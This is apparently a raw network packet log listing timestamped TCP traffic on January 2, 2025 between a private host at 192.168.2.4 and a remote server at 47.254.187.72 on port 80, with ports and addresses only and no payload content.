Jan 2, 2025 20:34:52.305197001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305207968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305217981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305228949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305247068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305303097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305382967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305399895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305413008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305444956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305450916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305454969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305465937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305480003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305507898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305521965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305531979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305542946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305552959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305556059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305565119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305586100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305612087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305627108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305644035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305655003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305665016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305680990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305707932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305735111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305746078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305757999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305768013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305768967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305778027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305788994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305803061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305826902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305830956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305866957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305949926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305960894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305970907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305982113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305991888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305994034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306001902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306011915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306020975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306022882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306041002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306063890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306085110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306094885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306106091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306116104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306126118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306132078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306188107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306199074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306209087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306212902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306217909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306220055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306252956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306276083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306277990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306298971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306308985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306319952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306330919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306338072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306365013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306375980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306377888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306386948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306405067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306416988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306416988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306421995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306433916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306444883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306452036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306454897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306471109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306495905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306628942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306641102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306652069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306665897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306687117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306693077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306698084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306704044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306714058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.306730986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.306759119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.309601068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.309612036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.309628963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.309638977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.309649944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.309659958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.309669971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.309673071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.309720039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.311883926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.311894894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.311929941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.311947107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.311980009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.312001944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.312012911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.312024117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.312033892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.312040091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.312046051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.312056065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.312088966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.314757109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.314769030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.314779997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.314793110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.314802885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.314812899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.314819098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.314825058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.314836025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.314867020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.314891100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.319766045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319794893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319804907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319816113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319820881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319837093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319845915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.319849014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319854975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319864988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319865942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.319875956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319890022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319892883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.319901943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319916964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.319938898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.319982052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.319992065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.320003033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.320012093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.320033073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.320049047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.321667910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.321763992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.321774006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.321784019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.321794987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.321805954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.321810007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.321820021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.321825027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.321847916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.321861029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.322834969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.322851896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.322861910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.322871923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.322874069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.322882891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.322891951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.322906971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.322913885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.322916031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.322940111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.322953939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392007113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392049074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392061949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392071962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392081976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392092943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392102003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392113924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392127037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392210007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392222881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392240047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392249107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392273903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392277002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392290115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392291069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392302036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392312050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392323017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392330885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392368078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392503023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392513990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392518997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392530918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392541885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392550945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392558098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392560959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392570972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392575026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392584085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392594099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392615080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392642021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392662048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392672062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392682076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392692089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392693043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392698050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392708063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392715931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392729044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392736912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392751932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392764091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392772913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392774105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392786980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392817974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392899990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392910957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392921925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392966986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.392967939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392977953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392990112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392995119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.392999887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393004894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393022060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393032074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393042088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393053055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393057108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393066883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393076897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393088102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393111944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393212080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393223047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393234015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393251896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393271923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393273115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393282890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393292904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393307924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393315077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393342972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393376112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393387079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393397093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393419981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393440008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393446922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393461943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393472910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393482924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393493891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.393502951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.393534899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.396321058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.396373987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.396394014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.396399975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.396404982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.396414995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.396426916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.396436930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.396444082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.396451950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.396480083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.396493912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.398919106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.398931026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.398941994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.398952007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.398961067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.398971081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.398979902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.398983002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.399015903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.399050951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.401477098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.401485920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.401500940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.401511908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.401521921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.401534081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.401546001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.401576042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.401578903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.401593924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.401622057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.401623964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.401664972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.406569004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406599045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406605005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406614065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406626940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406631947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406637907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406642914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406650066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406663895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406670094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406688929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.406712055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406723022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406729937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406742096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.406766891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406771898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.406892061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.408560991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.408571005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.408580065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.408591032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.408601046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.408608913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.408611059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.408622026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.408632994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.408695936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.409595013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.409609079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.409625053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.409635067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.409646034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.409651995 CET	49730	80	192.168.2.4	47.254.187.72
